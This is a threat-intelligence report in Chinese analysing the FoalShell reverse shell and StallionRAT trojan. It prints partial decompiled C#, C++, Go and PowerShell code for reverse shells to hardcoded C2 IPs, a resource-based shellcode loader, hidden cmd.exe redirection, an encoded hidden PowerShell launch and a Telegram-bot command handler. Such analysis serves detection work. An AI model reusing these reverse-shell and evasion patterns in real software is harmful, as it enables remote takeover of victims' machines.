摘要
本報告針對 FoalShell reverse shell 和 StallionRAT remote access trojan (RAT) 這兩種不同的惡意軟體家族提供了深入的技術分析,它們皆被名為 Cavalry Werewolf 的 advanced persistent threat (APT) group 所採用。本分析深入探討了這些工具的多語言實作,特別是 FoalShell 的 C#、C++ 和 Go 版本,以及 StallionRAT 的 PowerShell 版本,檢視了它們的 command-and-control (C2) 機制、迴避技術和操作方法。本研究旨在闡明這些惡意軟體株背後複雜的技術基礎,提供有關其功能和潛在偵測策略的見解。
1. 簡介
Cavalry Werewolf APT group 被觀察到在目標攻擊中部署了一套複雜的多語言惡意軟體。其行動的核心是 FoalShell(一種多功能 reverse shell)和 StallionRAT(一種具有獨特基於 Telegram C2 功能的 remote access trojan)[1]。本報告專注於這些惡意軟體家族的技術複雜性,剖析其程式碼結構和操作流程,以提供對其設計和執行的全面理解。
2. FoalShell: 多語言 command-and-control 後門
FoalShell 是一個輕量級的 reverse shell,旨在透過
cmd.exe
為攻擊者提供對被滲透系統的命令列存取 [1]。它值得注意的特點是它跨多種程式語言的實作,包括 C#、C++ 和 Go,展現了攻擊者的適應性和陰險狡詐。
2.1. FoalShell C# 分析
FoalShell 的 C# 變體作為一個簡單的 reverse shell 運作。它與 C2 伺服器建立網路連線,並透過這個網路 socket 重新導向到一個隱藏
cmd.exe
process 的標準輸入、輸出和錯誤串流。使用
ProcessWindowStyle.Hidden
可防止在被滲透主機上出現可見的命令提示視窗,從而確保隱蔽性 [1]。
核心功能涉及一個連續的迴圈,該迴圈從 C2 伺服器接收命令,使用
cmd.exe
執行它們,然後將命令的輸出和錯誤傳輸回 C2 伺服器。此變體觀察到的 C2 IP 是
188.127.225.191
, port 為
443
[1]。
C# 程式片段分析:
- TcpClient tcpClient = new TcpClient("188.127.225.191", 443); // Establishes a TCP connection to the C2 server at the specified IP and port.
- // ... [Connection and Stream setup] // Placeholder for network stream initialization.
- for (;;) // Enters an infinite loop to continuously receive and execute commands.
- {
- // ... [Read command from stream into @string] // Reads incoming commands from the C2 server.
- Process process = new Process(); // Creates a new process object.
- process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; // Hides the command prompt window for stealth.
- process.StartInfo.CreateNoWindow = true; // Ensures no new window is created.
- process.StartInfo.FileName = "cmd.exe"; // Specifies cmd.exe as the process to execute.
- process.StartInfo.Arguments = "/c " + @string; // Passes the received command to cmd.exe for execution.
- // ... [Redirect I/O] // Redirects standard input, output, and error streams to the network connection.
- process.Start(); // Starts the cmd.exe process.
- // ... [Read StandardOutput/StandardError and send back via stream] // Captures and sends command output back to C2.
- }
- // ... [Close connections] // Placeholder for closing network connections upon termination.
此程式片段說明了 C# FoalShell 的基本機制。它啟動與 hardcoded C2 伺服器的 TCP 連線,然後進入一個迴圈,透過
cmd.exe
執行從伺服器接收到的命令。這些命令的輸出會被重新導回 C2。使用
ProcessWindowStyle.Hidden
是一種關鍵的隱蔽技術。
2.2. FoalShell C++ 分析
FoalShell 的 C++ 變體採用了更複雜的迴避技術,主要利用 shellcode loader 來繞過靜態分析。一個 obfuscated FoalShell shellcode 被嵌入到 executable 的 resource 中,名稱為
output_bin
[1]。
C++ Shellcode Loader 程式片段分析:
- int __fastcall main(int argc, const char argv, const char envp)
- {
- HRSRC ResourceW; // Handle to resource information block.
- DWORD v4; // Variable to store resource size.
- HGLOBAL Resource; // Handle to loaded resource.
- // Find the resource named "output_bin" of type 0x65 (custom resource type).
- ResourceW = FindResourceW(0LL, (LPCWSTR)0x65, L"output_bin");
- // Get the size of the found resource.
- v4 = SizeOfResource(0LL, ResourceW);
- // Load the resource into global memory.
- Resource = LoadResource(0LL, ResourceW);
- // Call a function to process/execute the loaded resource (shellcode).
- sub_1400011C0(Resource, v4);
- return 0;
- }
此程式碼演示了 C++ 變體如何載入其 malicious payload。它定位了一個特定的 resource (
output_bin
),將其載入到記憶體中,然後執行一個負責處理此 resource 的函數 (
sub_1400011C0
),該 resource 就是 obfuscated shellcode。此方法有助於逃避傳統防毒解決方案的偵測,因為這些解決方案會掃描 executable sections 中已知的 malicious patterns。
執行後,shellcode 使用
VirtualAlloc
分配具有 Read、Write 和 Execute (RWE) 權限的記憶體,然後 deobfuscates 並執行主要的 reverse shellcode。此 shellcode 的網路功能連接到 C2 伺服器並啟動一個隱藏的
cmd.exe
process,類似於 C# 變體。此 C++ 變體的 C2 IP 是
109.172.85.63
[1]。
C++ Shellcode 網路功能程式片段分析:
- int __fastcall main(int argc, const char argv, const char envp)
- {
- FreeConsole(); // Detaches the current process from its console, making it a background process.
- WSAStartup(0x202u, &WSAData); // Initializes Winsock DLL for network operations.
- s = WSASocketA(2, 1, 6, 0LL, 0, 0); // Creates a socket for network communication.
- // ... [Setup socket address structure] // Configures the socket address for the C2.
- *(DWORD *)&name.sa_data[2] = inet_addr("109.172.85.63"); // Sets the C2 IP address.
- WSAConnect(s, &name, 16, 0LL, 0LL, 0LL, 0LL); // Connects to the C2 server.
- // ... [Setup STARTUPINFO structure to redirect I/O] // Prepares structure to redirect cmd.exe I/O.
- StartupInfo.dwFlags = 257; // STARTF_USESTDHANDLES // Flag to use specified standard handles.
- StartupInfo.hStdError = (HANDLE)s; // Redirects standard error to the socket.
- StartupInfo.hStdOutput = (HANDLE)s; // Redirects standard output to the socket.
- StartupInfo.hStdInput = (HANDLE)s; // Redirects standard input from the socket.
- CreateProcessA(0LL, (LPSTR)"cmd.exe", 0LL, 0LL, 1, 0, 0LL, &StartupInfo, &ProcessInformation); // Creates a new cmd.exe process with redirected I/O.
- return 0;
- }
此 C++ shellcode 中的程式片段揭示了直接的網路通訊設定和 process 建立。它明確地與任何 console 分離,初始化 Winsock,建立一個 socket,並連接到 C2 伺服器。最重要的是,它隨後建立一個隱藏的
cmd.exe
process,並將其標準輸入、輸出和錯誤串流重新導向到已建立的 C2 socket,有效地建立了一個 reverse shell。
2.3. FoalShell Go 分析
FoalShell 的 Go 實作利用其 Native networking stack 來實現 reverse shell 功能。它連接到 C2 伺服器
62.113.114.209
的 port
443
,並強制執行的
cmd.exe
process 以隱藏的 window style 執行 [1]。
Go 程式片段分析:
- // ...
- v44 = net_Dial(((unsigned int)&unk_51863A, 3, (unsigned int)"62.113.114.209:443", 18, v0, v1, v2, v3); // Establishes a network connection to the C2 server.
- v45 = (_ptr_exec_Cmd)(os_exec_Command(
- (unsigned int)"cmd.exe windowsrunning", // Command to execute, likely cmd.exe.
- // ...
- p_syscall_SysProcAttr = (syscall_SysProcAttr *)runtime_newobject(&RTYPE_syscall_SysProcAttr); // Creates a new SysProcAttr object.
- p_syscall_SysProcAttr->HideWindow = 1; // Sets the HideWindow flag to true, ensuring the process runs without a visible window.
- v11 = v45;
Go 變體的程式碼強調了使用 Go 的
net_Dial
進行 C2 通訊,以及操作
syscall_SysProcAttr
以確保生成的
cmd.exe
process 保持隱藏。這表明惡意軟體開發者有能力將核心 reverse shell 功能調整到不同的語言環境,同時保持隱蔽性和 C2 連線。
2.4. FoalShell 操作流程圖
上圖說明了 FoalShell 惡意軟體在不同語言實作中的通用操作流程。它強調了導致 FoalShell 執行的初始 compromise,基於惡意軟體變體的 branching logic,以及建立 C2 通訊、生成隱藏
cmd.exe
和維持命令迴圈以進行遠端執行的常見步驟。
3. StallionRAT: Telegram 控制的存取
StallionRAT 是一種 Remote Access Trojan (RAT),其獨特之處在於使用 Telegram bot 作為其 Command and Control (C2) channel [1]。這種獨特的 C2 機制允許攻擊者發出任意命令、管理檔案以及從被滲透系統外洩資料。StallionRAT 已被觀察到有多種語言實作,包括 Go、PowerShell 和 Python。
3.1. StallionRAT PowerShell 傳送和功能
StallionRAT 的常見傳送方法涉及 C++ launcher 執行帶有 Base64-encoded command 的 PowerShell instance。這種技術通常用於逃避監控簡單 command-line arguments 的安全產品 [1]。
PowerShell Encoded Command 範例:
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABjAGgAYQB0AF8AaQBkACAAPQAgACIANwA3ADAAOQAyADIAOAAyADgANQAiAA0ACgAkA...
Base64-encoded command 經 decode 後,揭示了負責 Telegram 訊息解析和 C2 通訊的 PowerShell 邏輯。此邏輯實作了三個主要的命令用於攻擊者互動:
-
/list: 擷取並格式化所有被滲透裝置的清單,為攻擊者提供對其存取的概覽。 -
/go [DeviceID] [command]: 使用Invoke-Expression在特定的被滲透主機上執行指定的命令。這允許直接的遠端命令執行。 -
/upload [DeviceID]: 促成透過 Telegram 下載檔案到主機,並將其儲存到C:\Users\Public\Libraries\%fileName%。此功能對於部署額外的工具或洩漏資料至關重要。
PowerShell Command Handling 程式片段分析:
- if ($message -eq "/list") {
- # ...
- # Builds a list of compromised devices with DeviceId and ComputerName
- # ...
- Send-TelegramMessage $devicelist // Sends the list of devices back to the C2 via Telegram.
- }
- if ($message -like "/go*") {
- if ($message.StartsWith("/go")) {
- # ... [Parses DeviceId and command] // Extracts the target device ID and command from the message.
- if ($userIdForDevice) {
- try {
- $output = Invoke-Expression $command 2>&1 // Executes the command and captures its output, including errors.
- # ... [Send output back via Telegram] // Sends the command execution result back to the C2.
- } catch {
- # ... [Send error message] // Handles errors during command execution and sends an error message.
- }
- }
- # ...
- }
- }
- // ... if ($message -like "/upload*") { ... } // Placeholder for the /upload command logic.
此 PowerShell 程式片段演示了處理從 Telegram C2 接收到的命令的條件邏輯。它顯示了
/list
命令如何編譯和傳送裝置資訊,以及
/go
命令如何解析其 arguments,透過
Invoke-Expression
執行任意命令,並返回輸出。這突顯了 StallionRAT C2 功能的模組化和可擴充性。
3.2. StallionRAT 操作流程圖
此 Mermaid 圖表說明了 StallionRAT 的操作流程,強調了其基於 Telegram 的 C2 通訊。在初始執行後,StallionRAT 連接到 Telegram Bot API 並持續監控命令。根據收到的命令(例如
/list
、
/go
、
/upload
),它執行特定的操作並透過 Telegram 向攻擊者回報。
4. Post-Exploitation 和 Lateral Movement
除了初始存取和 C2 建立之外,Cavalry Werewolf group 還專注於保持持久性並擴大其在被滲透網路中的控制。一個關鍵策略涉及將 StallionRAT binaries(例如
win.exe
)部署到特定目錄,例如
C:\Users\...
,以確保持續存取 [1]。這突顯了一個常見的 post-exploitation 階段,攻擊者在此階段鞏固其立足點並為進一步的 malicious activities 做準備,包括資料洩漏或 lateral movement 到網路中的其他系統。
5. 結論
Cavalry Werewolf APT group 透過使用多語言惡意軟體家族 FoalShell 和 StallionRAT,展現了高水準的技術複雜性。FoalShell 及其 C#、C++ 和 Go 變體提供了強大的 reverse shell 功能,採用了隱藏 process 執行和 shellcode loading 等技術進行迴避。StallionRAT 以基於 Telegram 的 C2 脫穎而出,提供了靈活的遠端存取、命令執行和檔案傳輸功能。了解這些惡意軟體株的技術細節,包括它們的 C2 機制、程式碼結構和操作流程,對於制定有效的偵測和緩解策略以應對此類先進威脅至關重要。